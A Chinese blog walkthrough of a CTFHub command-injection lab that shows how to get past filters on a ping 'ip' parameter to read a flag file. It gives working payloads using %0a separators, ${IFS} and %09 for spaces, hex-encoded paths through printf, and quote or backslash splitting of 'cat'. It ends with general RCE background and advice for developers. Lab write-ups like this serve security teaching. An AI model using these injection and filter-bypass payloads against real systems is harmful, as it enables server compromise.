CTFHUB-技能树-Web题-RCE(远程代码执行)-远程包含-命令注入-综合过滤练习

CTFHUB-技能树-Web题-RCE(远程代码执行)-远程包含-命令注入-综合过滤练习

根据题目提示
在这里插入图片描述

以及代码

在这里插入图片描述

法1:

分隔符可以使用%0a代替
若直接使用文本框上传命令会导致字符被转义,直接访问URL

payload:

/?ip=127.0.0.1%0als 
也就是=> 127.0.0.1;ls

在这里插入图片描述

接下来要访问flag_is_here,需要绕过空格过滤、flag文字过滤并且显示文件夹的内容

(space)` => `${IFS}

对于文件夹的内容,使用$(printf "路径")代替路径
对于路径文字过滤,转换成16进制字符串

访问URL

?ip=127.0.0.1%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")
上这段话的意思就是:ip=127.0.0.1;ls flag_is_here

在这里插入图片描述

接着绕过cat,使用16进制字符串(HEX)访问文件即可

cat => ca''t / `ca""t

/?ip=127.0.0.1%0aca''t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x39\x34\x33\x32\x34\x33\x38\x33\x31\x35\x30\x32\x30\x2e\x70\x68\x70")
=> 127.0.0.1;c'a't flag_is_here/flag_11510361119666.php

法2:

用more替换cat
用%0a去替换; 
空格用${IFS}替换 
flag可以用正则替换f*** 
flag可以用TAB加*替换,不过要用url编码TAB,表示为%09加*

输入命令

127.0.0.1%0als

使用%0a代替 ;

使用正则表达式代替flag,使用{IFS}代替空格,此处注意传cd到文件夹下以后,要使用ls将文件加下的文件列出来。最后输入命令

127.0.0.1%0acd${IFS}f***_is_here
${IFS}%0als

输入命令

ip=127.0.0.1%0acd${IFS}f***_is_here
${IFS}%0amore
${IFS}f***_5222980724357.php

,获取到flag

url表

在这里插入图片描述
在这里插入图片描述

%0a 代替 换行 , %09 代替 TAB键 (因为flag被过滤了,所以我们通过TAB来补全flag_is_here)

   %5c 代替 \(用 \ 来分隔开 cat ,因为 cat 也被过滤了qwq)

法3:

查看flag_is_here文件夹下的文件:

?ip=127.0.0.1%0als*#*
?ip127.0.0.1%0als%09*is_here
?ip127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_73122415714959.php 

`
?ip127.0.0.1%0als%09*is_here


?ip127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_73122415714959.php


### CTFHUB Web 前置技能 RCE 挑战及解思路 #### 远程命令执行简介 远程命令执行(Remote Command Execution, RCE),是指攻击者能够通过应用程序接口发送特定指令,在服务器端执行任意操作系统级别的命令。这种漏洞一旦被利用,可能导致整个系统的完全控制。 #### 发现潜在的RCE漏洞 当面对可能存在RCE漏洞的应用程序时,通常会寻找可以输入数据的地方,比如表单提交、URL参数等位置。如果这些地方的数据未经严格验证就直接用于构建并执行系统调用,则可能成为RCE攻击的目标[^1]。 #### 验证是否存在RCE漏洞 为了确认是否真的存在这样的安全风险,可以通过尝试注入一些简单的测试语句来观察响应情况。例如,在支持PHP环境的情况下,可以试着向目标页面传递如下payload: ```php <?php phpinfo(); ?> ``` 如果上述代码被执行并且返回了PHP配置信息,则说明确实存在未受保护的入口点允许外部传入的内容影响到内部逻辑处理流程。 #### 利用已知条件构造有效载荷 假设经过初步探测之后发现了某个变量可以直接参与到shell_exec()函数之中去,那么就可以精心设计一段能实现预期目的同时又不会引起怀疑的日志记录脚本作为最终的有效负载。这里给出一个简单例子用来获取当前目录下的文件列表: ```bash ls -al ``` 当然实际操作过程中还需要考虑更多因素,如编码方式转换、特殊字符转义等问以确保成功绕过防护机制达到想要的效果。 #### 安全建议 对于开发者而言,预防此类问的发生至关重要。应当遵循最小权限原则分配资源访问权;对所有来自客户端的信息都应做充分校验过滤后再参与后续运算过程;定期审查源码查找安全隐患及时修复补丁版本更新至最新状态等等措施均有助于减少遭受恶意侵害的可能性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

python炒粉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值